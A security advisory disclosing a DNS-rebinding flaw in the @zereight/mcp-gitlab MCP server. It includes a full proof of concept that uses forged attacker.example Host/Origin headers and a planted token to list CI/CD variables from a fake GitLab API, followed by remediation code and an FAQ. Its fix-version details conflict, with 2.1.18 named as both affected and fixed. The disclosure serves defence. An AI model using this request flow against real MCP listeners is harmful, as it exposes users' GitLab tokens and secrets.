GHSA-vmp7-252j-cwp7: Critical severity npm/@zereight/mcp-gitlab vulnerability
@zereight/mcp-gitlab exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled Host and Origin. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.
This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is @zereight/mcp-gitlab version 2.1.18 at commit 74a8c834424ff557ad8bc6f225e4dc5acf80aa13.
The vulnerable transport setup is in index.ts. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:
typescript // index.ts:12077 app.use(express.json());
registerDownloadProxy(app);
The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:
typescript // index.ts:12375 transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; metrics.totalSessions++; metrics.activeSessions++; }, });
The transport constructor does not set enableDnsRebindingProtection, allowedHosts, or allowedOrigins. The server also does not add an Express middleware that rejects unexpected Host or Origin headers before /mcp.
The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:
typescript // config.ts:192 export const HOST = getConfig("host", "HOST") || "127.0.0.1";
// config.ts:196 export const PORT = intEnv("PORT", "port", PORTDEFAULT);
The README documents Streamable HTTP as a supported transport for modern remote deployments and documents REMOTEAUTHORIZATION=true for multi-user HTTP deployments. In that mode, unauthenticated tools/list and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP initialize request instead of rejecting the connection as cross-origin localhost access.
Proof of concept
The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:
- no-token initialize succeeds with attacker-controlled Host and Origin; - no-token tools/list is rejected with 401; - the same forged-origin flow with a planted Private-Token lists tools and calls listprojectvariables; - the fake GitLab API records the forwarded token and returns a planted fake project variable.
Start the fake GitLab API:
bash python3 - <<'PY' import json from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from urllib.parse import parseqs, urlparse
WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl" PROJECTID = "pluto/rebind-target" FAKESECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"
class Handler(BaseHTTPRequestHandler): def json(self, status, payload): data = json.dumps(payload).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(data))) self.endheaders() self.wfile.write(data)
def record(self): parsed = urlparse(self.path) with open(WITNESS, "a", encoding="utf-8") as f: f.write(json.dumps({ "method": self.command, "path": parsed.path, "query": parseqs(parsed.query), "authorization": self.headers.get("authorization"), "privatetoken": self.headers.get("private-token"), "jobtoken": self.headers.get("job-token"), }, sortkeys=True) + "\n")
def doGET(self): self.record() path = urlparse(self.path).path if path == "/health": self.json(200, {"status": "ok"}) return if path.startswith("/api/v4/") and not ( self.headers.get("authorization") or self.headers.get("private-token") or self.headers.get("job-token") ): self.json(401, {"message": "401 Unauthorized", "missing": "GitLab token"}) return if path.endswith("/variables"): self.json(200, [{ "key": "PRODUCTIONDEPLOYTOKEN", "value": FAKESECRET, "protected": True, "masked": False, }]) return self.json(200, {"ok": True, "path": path})
def logmessage(self, fmt, args): return
ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serveforever() PY
In a second terminal, run the affected MCP server:
bash git clone https://github.com/zereight/gitlab-mcp.git cd gitlab-mcp git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13 npm install npm run build
STREAMABLEHTTP=true \ REMOTEAUTHORIZATION=true \ HOST=127.0.0.1 \ PORT=8082 \ GITLABAPIURL=http://127.0.0.1:18082/api/v4 \ GITLABREADONLYMODE=true \ GITLABTOOLSETS=issues,projects,repository,ci \ GITLABTOOLS=listprojectvariables \ node build/index.js
In a third terminal, send MCP requests with attacker-controlled browser-origin headers:
bash python3 - <<'PY' import json import urllib.error import urllib.request
TARGET = "http://127.0.0.1:8082/mcp" REBINDHOST = "attacker.example:8082" ORIGIN = "http://" + REBINDHOST TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"
def parserpc(text): stripped = text.strip() if stripped.startswith("{"): return [json.loads(stripped)] out = [] for line in stripped.splitlines(): line = line.strip() if line.startswith("data:"): out.append(json.loads(line[5:].strip())) return out
class Client: def init(self, token=None): self.sid = None self.token = token
def post(self, body): headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Host": REBINDHOST, "Origin": ORIGIN, } if self.token: headers["Private-Token"] = self.token if self.sid: headers["Mcp-Session-Id"] = self.sid headers["MCP-Protocol-Version"] = "2025-06-18" req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=20) as res: sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id") if sid: self.sid = sid text = res.read().decode("utf-8", "replace") return res.status, parserpc(text), text except urllib.error.HTTPError as exc: text = exc.read().decode("utf-8", "replace") return exc.code, parserpc(text), text
def rpc(self, method, params=None, rid=1): body = {"jsonrpc": "2.0", "id": rid, "method": method} if params is not None: body["params"] = params status, messages, raw = self.post(body) for msg in messages: if msg.get("id") == rid: return status, msg, raw return status, {}, raw
def initialized(self): self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})
def initialize(client, rid): return client.rpc("initialize", { "protocolVersion": "2025-06-18", "capabilities": {}, "clientInfo": {"name": "dns-rebind-check", "version": "1"}, }, rid)
unauth = Client() status, init, raw = initialize(unauth, 1) print("unauth initialize:", status, "session:", unauth.sid) unauth.initialized() status, listed, raw = unauth.rpc("tools/list", {}, 2) print("unauth tools/list:", status, raw[:200])
authed = Client(TOKEN) status, init, raw = initialize(authed, 3) print("token initialize:", status, "session:", authed.sid) authed.initialized() status, listed, raw = authed.rpc("tools/list", {}, 4) tools = [tool["name"] for tool in listed["result"]["tools"]] print("listed listprojectvariables:", "listprojectvariables" in tools) status, called, raw = authed.rpc("tools/call", { "name": "listprojectvariables", "arguments": {"projectid": "pluto/rebind-target"}, }, 5) print(raw) PY
Observed output:
text unauth initialize: 200 session: <uuid> unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."} token initialize: 200 session: <uuid> listed listprojectvariables: True [ { "key": "PRODUCTIONDEPLOYTOKEN", "value": "glpat-FAKE-PROJECT-CI-SECRET-0001", "protected": true, "masked": false } ]
The fake GitLab API witness records that the MCP server forwarded the token to the backend request:
json {"authorization": null, "jobtoken": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "privatetoken": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}}
Impact
A malicious web page can reach a local @zereight/mcp-gitlab Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled Host and Origin headers. In the current remote-authorization mode, token checks block unauthenticated tools/list and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.
The confirmed impact is:
- attacker-origin browser traffic reaches the local MCP initialize path; - server-side Host and Origin validation are absent on /mcp; - tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present; - GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.
Why this is a vulnerability, not intended behavior
- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for Host and Origin. - The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs StreamableHTTPServerTransport without enabling those controls and does not add an equivalent Express guard. - REMOTEAUTHORIZATION=true protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.
Remediation
Enable the SDK DNS-rebinding protection on the Streamable HTTP transport:
typescript transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), enableDnsRebindingProtection: true, allowedHosts: [ 127.0.0.1:${PORT}, localhost:${PORT}, ], allowedOrigins: [ http://127.0.0.1:${PORT}, http://localhost:${PORT}, ], onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; }, });
Add an Express middleware before /mcp that rejects unexpected Host and Origin values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@zereight/mcp-gitlabto a version that resolves this vulnerability.Fixed in 2.1.30 - Upgrade
Upgrade
@zereight/mcp-gitlabto a version that resolves this vulnerability.Fixed in 2.1.18Patch 74a8c834424ff557ad8bc6f225e4dc5acf80aa13 - Configuration
Enable the SDK DNS-rebinding protection on the Streamable HTTP transport (in index.ts, construct StreamableHTTPServerTransport with enableDnsRebindingProtection: true).
@zereight/mcp-gitlab (StreamableHTTPServerTransport) enableDnsRebindingProtection = true - Configuration
Add an Express middleware before the /mcp route that rejects unexpected attacker-controlled Host and Origin headers (and apply the same policy to SSE if that transport remains supported).
@zereight/mcp-gitlab (Express app) Host/Origin validation middleware = reject unexpected values - Configuration
Configure the StreamableHTTPServerTransport to use Host/Origin allowlists (set allowedHosts and allowedOrigins on the transport constructor instead of leaving them unset).
@zereight/mcp-gitlab (StreamableHTTPServerTransport) allowedHosts/allowedOrigins = set allowlists
Event History
Frequently Asked Questions
Who is exposed to this issue?
Deployments of @zereight/mcp-gitlab version 2.1.18 that expose the Streamable HTTP MCP endpoint are affected. A victim must be induced to visit a malicious web page that performs the DNS-rebinding attack against the local MCP listener.
What does an attacker need to exploit it?
The attacker does not need prior privileges, but exploitation requires user interaction: a victim must load an attacker-controlled web page. The attack relies on DNS rebinding to send browser requests to the victim's local listener while retaining attacker-controlled Host and Origin headers.
Are Host and Origin header checks effective in the affected version?
No. The affected transport is created without the SDK DNS-rebinding controls, and there is no effective route-level Host or Origin allowlist before requests reach MCP initialization.
How can I determine whether my deployment is affected?
Check whether you are running @zereight/mcp-gitlab version 2.1.18 at commit 74a8c834424ff557ad8bc6f225e4dc5acf80aa13. The vulnerable setup is in index.ts, where Express JSON parsing is installed globally and the StreamableHTTPServerTransport is created without DNS-rebinding controls.